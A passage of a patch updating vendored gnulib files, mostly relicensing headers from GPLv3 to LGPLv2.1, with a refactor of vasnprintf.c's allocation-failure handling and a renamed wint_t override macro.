GNULIB_NAMESPACE) + # undef swab + # define swab _swab + # endif +-_GL_CXXALIAS_MDA (swab, void, (char *from, char *to, int n)); +-# else ++/* Need to cast, because in old mingw the arguments are ++ (const char *from, char *to, size_t n). */ ++_GL_CXXALIAS_MDA_CAST (swab, void, (char *from, char *to, int n)); ++# else ++# if defined __hpux /* HP-UX */ ++_GL_CXXALIAS_SYS (swab, void, (const char *from, char *to, int n)); ++# elif defined __sun && !defined _XPG4 /* Solaris */ ++_GL_CXXALIAS_SYS (swab, void, (const char *from, char *to, ssize_t n)); ++# else + _GL_CXXALIAS_SYS (swab, void, (const void *from, void *to, ssize_t n)); ++# endif + # endif + _GL_CXXALIASWARN (swab); + #endif +--- a/gnulib/lib/unitypes.in.h ++++ b/gnulib/lib/unitypes.in.h +@@ -1,17 +1,17 @@ + /* Elementary types and macros for the GNU UniString library. + Copyright (C) 2002, 2005-2006, 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify it +- under the terms of the GNU General Public License as published +- by the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of +- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _UNITYPES_H +--- a/gnulib/lib/uniwidth.in.h ++++ b/gnulib/lib/uniwidth.in.h +@@ -2,17 +2,17 @@ + Copyright (C) 2001-2002, 2005, 2007, 2009-2021 Free Software Foundation, + Inc. + +- This program is free software: you can redistribute it and/or modify it +- under the terms of the GNU General Public License as published +- by the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of +- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _UNIWIDTH_H +--- a/gnulib/lib/uniwidth/cjk.h ++++ b/gnulib/lib/uniwidth/cjk.h +@@ -2,17 +2,17 @@ + Copyright (C) 2001-2002, 2005-2007, 2009-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2002. + +- This program is free software: you can redistribute it and/or modify it +- under the terms of the GNU General Public License as published +- by the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of +- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include "streq.h" +--- a/gnulib/lib/uniwidth/width.c ++++ b/gnulib/lib/uniwidth/width.c +@@ -2,17 +2,17 @@ + Copyright (C) 2001-2002, 2006-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2002. + +- This program is free software: you can redistribute it and/or modify it +- under the terms of the GNU General Public License as published +- by the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of +- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/vasnprintf.c ++++ b/gnulib/lib/vasnprintf.c +@@ -1,18 +1,18 @@ + /* vsprintf with automatic memory allocation. + Copyright (C) 1999, 2002-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* This file can be parametrized with the following macros: + VASNPRINTF The name of the function being defined. +@@ -60,9 +60,7 @@ + #ifndef VASNPRINTF + # include <config.h> + #endif +-#ifndef IN_LIBINTL +-# include <alloca.h> +-#endif ++#include <alloca.h> + + /* Specification. */ + #ifndef VASNPRINTF +@@ -1859,6 +1857,7 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t * + /* errno is already set. */ + return NULL; + ++ /* Frees the memory allocated by this function. Preserves errno. */ + #define CLEANUP() \ + if (d.dir != d.direct_alloc_dir) \ + free (d.dir); \ +@@ -1923,7 +1922,7 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t * + + /* Ensures that allocated >= needed. Aborts through a jump to + out_of_memory if needed is SIZE_MAX or otherwise too big. */ +-#define ENSURE_ALLOCATION(needed) \ ++#define ENSURE_ALLOCATION_ELSE(needed, oom_statement) \ + if ((needed) > allocated) \ + { \ + size_t memory_size; \ +@@ -1934,17 +1933,19 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t * + allocated = (needed); \ + memory_size = xtimes (allocated, sizeof (DCHAR_T)); \ + if (size_overflow_p (memory_size)) \ +- goto out_of_memory; \ ++ oom_statement \ + if (result == resultbuf || result == NULL) \ + memory = (DCHAR_T *) malloc (memory_size); \ + else \ + memory = (DCHAR_T *) realloc (result, memory_size); \ + if (memory == NULL) \ +- goto out_of_memory; \ ++ oom_statement \ + if (result == resultbuf && length > 0) \ + DCHAR_CPY (memory, result, length); \ + result = memory; \ + } ++#define ENSURE_ALLOCATION(needed) \ ++ ENSURE_ALLOCATION_ELSE((needed), goto out_of_memory; ) + + for (cp = format, i = 0, dp = &d.dir[0]; ; cp = dp->dir_end, i++, dp++) + { +@@ -2183,18 +2184,17 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t * + # endif + if (converted == NULL) + { +- int saved_errno = errno; + if (!(result == resultbuf || result == NULL)) + free (result); + if (buf_malloced != NULL) + free (buf_malloced); + CLEANUP (); +- errno = saved_errno; + return NULL; + } + if (converted != result + length) + { +- ENSURE_ALLOCATION (xsum (length, converted_len)); ++ ENSURE_ALLOCATION_ELSE (xsum (length, converted_len), ++ { free (converted); goto out_of_memory; }); + DCHAR_CPY (result + length, converted, converted_len); + free (converted); + } +@@ -2309,18 +2309,17 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t * + # endif + if (converted == NULL) + { +- int saved_errno = errno; + if (!(result == resultbuf || result == NULL)) + free (result); + if (buf_malloced != NULL) + free (buf_malloced); + CLEANUP (); +- errno = saved_errno; + return NULL; + } + if (converted != result + length) + { +- ENSURE_ALLOCATION (xsum (length, converted_len)); ++ ENSURE_ALLOCATION_ELSE (xsum (length, converted_len), ++ { free (converted); goto out_of_memory; }); + DCHAR_CPY (result + length, converted, converted_len); + free (converted); + } +@@ -2435,18 +2434,17 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t * + # endif + if (converted == NULL) + { +- int saved_errno = errno; + if (!(result == resultbuf || result == NULL)) + free (result); + if (buf_malloced != NULL) + free (buf_malloced); + CLEANUP (); +- errno = saved_errno; + return NULL; + } + if (converted != result + length) + { +- ENSURE_ALLOCATION (xsum (length, converted_len)); ++ ENSURE_ALLOCATION_ELSE (xsum (length, converted_len), ++ { free (converted); goto out_of_memory; }); + DCHAR_CPY (result + length, converted, converted_len); + free (converted); + } +@@ -2852,14 +2850,12 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t * + NULL, &tmpdst_len); + if (tmpdst == NULL) + { +- int saved_errno = errno; + free (tmpsrc); + if (!(result == resultbuf || result == NULL)) + free (result); + if (buf_malloced != NULL) + free (buf_malloced); + CLEANUP (); +- errno = saved_errno; + return NULL; + } + free (tmpsrc); +@@ -2951,7 +2947,8 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t * + } + } + # else +- ENSURE_ALLOCATION (xsum (length, tmpdst_len)); ++ ENSURE_ALLOCATION_ELSE (xsum (length, tmpdst_len), ++ { free (tmpdst); goto out_of_memory; }); + DCHAR_CPY (result + length, tmpdst, tmpdst_len); + free (tmpdst); + length += tmpdst_len; +@@ -3079,13 +3076,11 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t * + NULL, &tmpdst_len); + if (tmpdst == NULL) + { +- int saved_errno = errno; + if (!(result == resultbuf || result == NULL)) + free (result); + if (buf_malloced != NULL) + free (buf_malloced); + CLEANUP (); +- errno = saved_errno; + return NULL; + } + # endif +@@ -3156,7 +3151,8 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t * + } + } + # else +- ENSURE_ALLOCATION (xsum (length, tmpdst_len)); ++ ENSURE_ALLOCATION_ELSE (xsum (length, tmpdst_len), ++ { free (tmpdst); goto out_of_memory; }); + DCHAR_CPY (result + length, tmpdst, tmpdst_len); + free (tmpdst); + length += tmpdst_len; +@@ -5449,15 +5445,14 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t * + /* Attempt to handle failure. */ + if (count < 0) + { +- /* SNPRINTF or sprintf failed. Save and use the errno +- that it has set, if any. */ +- int saved_errno = errno; +- if (saved_errno == 0) ++ /* SNPRINTF or sprintf failed. Use the errno that it ++ has set, if any. */ ++ if (errno == 0) + { + if (dp->conversion == 'c' || dp->conversion == 's') +- saved_errno = EILSEQ; ++ errno = EILSEQ; + else +- saved_errno = EINVAL; ++ errno = EINVAL; + } + + if (!(result == resultbuf || result == NULL)) +@@ -5466,7 +5461,6 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t * + free (buf_malloced); + CLEANUP (); + +- errno = saved_errno; + return NULL; + } + +@@ -5602,16 +5596,15 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t * + NULL, &tmpdst_len); + if (tmpdst == NULL) + { +- int saved_errno = errno; + if (!(result == resultbuf || result == NULL)) + free (result); + if (buf_malloced != NULL) + free (buf_malloced); + CLEANUP (); +- errno = saved_errno; + return NULL; + } +- ENSURE_ALLOCATION (xsum (length, tmpdst_len)); ++ ENSURE_ALLOCATION_ELSE (xsum (length, tmpdst_len), ++ { free (tmpdst); goto out_of_memory; }); + DCHAR_CPY (result + length, tmpdst, tmpdst_len); + free (tmpdst); + count = tmpdst_len; +--- a/gnulib/lib/vasnprintf.h ++++ b/gnulib/lib/vasnprintf.h +@@ -1,18 +1,18 @@ + /* vsprintf with automatic memory allocation. + Copyright (C) 2002-2004, 2007-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _VASNPRINTF_H + #define _VASNPRINTF_H +--- a/gnulib/lib/vasprintf.c ++++ b/gnulib/lib/vasprintf.c +@@ -1,18 +1,18 @@ + /* Formatted output to strings. + Copyright (C) 1999, 2002, 2006-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> + +--- a/gnulib/lib/verify.h ++++ b/gnulib/lib/verify.h +@@ -2,17 +2,17 @@ + + Copyright (C) 2005-2006, 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Paul Eggert, Bruno Haible, and Jim Meyering. */ +--- a/gnulib/lib/warn-on-use.h ++++ b/gnulib/lib/warn-on-use.h +@@ -2,16 +2,16 @@ + Copyright (C) 2010-2021 Free Software Foundation, Inc. + + This program is free software: you can redistribute it and/or modify it +- under the terms of the GNU General Public License as published +- by the Free Software Foundation; either version 3 of the License, or ++ under the terms of the GNU Lesser General Public License as published ++ by the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* _GL_WARN_ON_USE (function, "literal string") issues a declaration +--- a/gnulib/lib/wchar.in.h ++++ b/gnulib/lib/wchar.in.h +@@ -2,18 +2,18 @@ + + Copyright (C) 2007-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Eric Blake. */ + +@@ -111,7 +111,7 @@ + /* mingw and MSVC define wint_t as 'unsigned short' in <crtdefs.h> or + <stddef.h>. This is too small: ISO C 99 section 7.24.1.(2) says that + wint_t must be "unchanged by default argument promotions". Override it. */ +-# if @GNULIB_OVERRIDES_WINT_T@ ++# if @GNULIBHEADERS_OVERRIDE_WINT_T@ + # if !GNULIB_defined_wint_t + # if @HAVE_CRTDEFS_H@ + # include <crtdefs.h> +--- a/gnulib/lib/wcrtomb.c ++++ b/gnulib/lib/wcrtomb.c +@@ -2,17 +2,17 @@ + Copyright (C) 2008-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2008. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/wctype-h.c ++++ b/gnulib/lib/wctype-h.c +@@ -1,4 +1,23 @@ ++/* Inline functions for <wctype.h>. ++ ++ Copyright (C) 2012-2021 Free Software Foundation, Inc. ++ ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. ++ ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. ++ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ ++ + /* Normally this would be wctype.c, but that name's already taken. */ ++ + #include <config.h> ++ + #define _GL_WCTYPE_INLINE _GL_EXTERN_INLINE + #include "wctype.h" +--- a/gnulib/lib/wctype.in.h ++++ b/gnulib/lib/wctype.in.h +@@ -2,18 +2,18 @@ + + Copyright (C) 2006-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible and Paul Eggert. */ + +@@ -103,7 +103,7 @@ _GL_INLINE_HEADER_BEGIN + /* mingw and MSVC define wint_t as 'unsigned short' in <crtdefs.h> or + <stddef.h>. This is too small: ISO C 99 section 7.24.1.(2) says that + wint_t must be "unchanged by default argument promotions". Override it. */ +-# if @GNULIB_OVERRIDES_WINT_T@ ++# if @GNULIBHEADERS_OVERRIDE_WINT_T@ + # if !GNULIB_defined_wint_t + # if @HAVE_CRTDEFS_H@ + # include <crtdefs.h> +@@ -132,7 +132,7 @@ typedef unsigned int rpl_wint_t; + same way, or not at all. */ + # if ! @HAVE_ISWCNTRL@ || @REPLACE_ISWCNTRL@ + +-# if @GNULIB_OVERRIDES_WINT_T@ /* implies @REPLACE_ISWCNTRL@ */ ++# if @GNULIBHEADERS_OVERRIDE_WINT_T@ /* implies @REPLACE_ISWCNTRL@ */ + + _GL_WCTYPE_INLINE int + rpl_iswalnum (wint_t wc) +@@ -496,7 +496,7 @@ _GL_FUNCDECL_RPL (iswxdigit, int, (wint_ + + # endif + +-# if defined __MINGW32__ && !@GNULIB_OVERRIDES_WINT_T@ ++# if defined __MINGW32__ && !@GNULIBHEADERS_OVERRIDE_WINT_T@ + + /* On native Windows, wchar_t is uint16_t, and wint_t is uint32_t. + The functions towlower and towupper are implemented in the MSVCRT library +@@ -529,7 +529,7 @@ rpl_towupper (wint_t wc) + # define towupper rpl_towupper + # endif + +-# endif /* __MINGW32__ && !@GNULIB_OVERRIDES_WINT_T@ */ ++# endif /* __MINGW32__ && !@GNULIBHEADERS_OVERRIDE_WINT_T@ */ + + # define GNULIB_defined_wctype_functions 1 + #endif +@@ -646,7 +646,7 @@ _GL_WARN_ON_USE (wctype, "wctype is unpo + The argument WC must be either a wchar_t value or WEOF. + The argument DESC must have been returned by the wctype() function. */ + #if @GNULIB_ISWCTYPE@ +-# if @GNULIB_OVERRIDES_WINT_T@ ++# if @GNULIBHEADERS_OVERRIDE_WINT_T@ + # if !(defined __cplusplus && defined GNULIB_NAMESPACE) + # undef iswctype + # define iswctype rpl_iswctype +--- a/gnulib/lib/wcwidth.c ++++ b/gnulib/lib/wcwidth.c +@@ -1,17 +1,17 @@ + /* Determine the number of screen columns needed for a character. + Copyright (C) 2006-2007, 2010-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/windows-initguard.h ++++ b/gnulib/lib/windows-initguard.h +@@ -1,18 +1,18 @@ + /* Init guards, somewhat like spinlocks (native Windows implementation). + Copyright (C) 2005-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2005. + Based on GCC's gthr-win32.h. */ +--- a/gnulib/lib/windows-mutex.c ++++ b/gnulib/lib/windows-mutex.c +@@ -1,18 +1,18 @@ + /* Plain mutexes (native Windows implementation). + Copyright (C) 2005-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2005. + Based on GCC's gthr-win32.h. */ +--- a/gnulib/lib/windows-mutex.h ++++ b/gnulib/lib/windows-mutex.h +@@ -1,18 +1,18 @@ + /* Plain mutexes (native Windows implementation). + Copyright (C) 2005-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2005. + Based on GCC's gthr-win32.h. */ +--- a/gnulib/lib/windows-once.c ++++ b/gnulib/lib/windows-once.c +@@ -1,18 +1,18 @@ + /* Once-only control (native Windows implementation). + Copyright (C) 2005-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2005. + Based on GCC's gthr-win32.h. */ +--- a/gnulib/lib/windows-once.h ++++ b/gnulib/lib/windows-once.h +@@ -1,18 +1,18 @@ + /* Once-only control (native Windows implementation). + Copyright (C) 2005-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2005. + Based on GCC's gthr-win32.h. */ +--- a/gnulib/lib/windows-recmutex.c ++++ b/gnulib/lib/windows-recmutex.c +@@ -1,18 +1,18 @@ + /* Plain recursive mutexes (native Windows implementation). + Copyright (C) 2005-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2005. + Based on GCC's gthr-win32.h. */ +--- a/gnulib/lib/windows-recmutex.h ++++ 